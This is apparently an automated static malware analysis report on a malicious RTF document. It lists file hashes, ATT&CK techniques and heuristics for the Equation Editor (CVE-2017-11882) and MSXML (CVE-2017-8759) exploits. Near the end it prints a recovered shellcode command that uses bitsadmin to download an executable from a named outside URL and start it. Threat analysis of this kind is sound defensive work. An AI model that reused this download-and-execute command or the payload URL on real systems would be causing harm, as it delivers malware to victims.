Malicious RTF — malware analysis report

Static analysis result for SHA-256 b69b4bf7296fc913…

MALICIOUS

RTF

1.87 MB Created: 2018-05-18 02:21:00 First seen: 2019-05-16
MD5: 1a7522135209d170407a355994f402d3 SHA-1: 9bc594ff260fdd460d1efd7fb92af2931a71f3d7 SHA-256: b69b4bf7296fc913f8fade3c8c24cf5d274d75ba984a0e0f23075324da7a9d4f
302 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and triggers critical vulnerabilities CVE-2017-11882 and CVE-2017-8759, indicating exploitation for client execution. The presence of shellcode and a suspicious URL within the extracted artifacts suggests the file is designed to download and execute a second-stage payload, likely delivered via spearphishing.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • Large hex data blocks in OLE object high RTF_EXCESSIVE_HEX
    RTF contains ~1196KB of hex-encoded data inside \objdata sections — may hide a payload
  • OLE object data medium RTF_OBJDATA
    RTF contains 2 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.milehighhomebuyers.com/wp-content/themes/New%20PO.exe In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00003571.bin rtf-objdata-decoded RTF \objdata at offset 0x3571 35374 bytes
SHA-256: 9dc74079f92cc27b3efae2cf68774f26d4e5aa947ecb79adc0b9d6eff86e0304
objdata_01_off0017c109.bin rtf-objdata-decoded RTF \objdata at offset 0x17C109 15844 bytes
SHA-256: 775617fdec85010f43ce9a1d2c253c8d89b497cf2ec1c1eecc5af81073f18d46
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://www.milehighhomebuyers.com/wp-content/themes/New%20PO.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer UM /priority foreground http://www.milehighhomebuyers.com/wp-content/themes/New%20PO.exe %USERPROFILE%\lKd.exe && start %USERPROFILE%\lK

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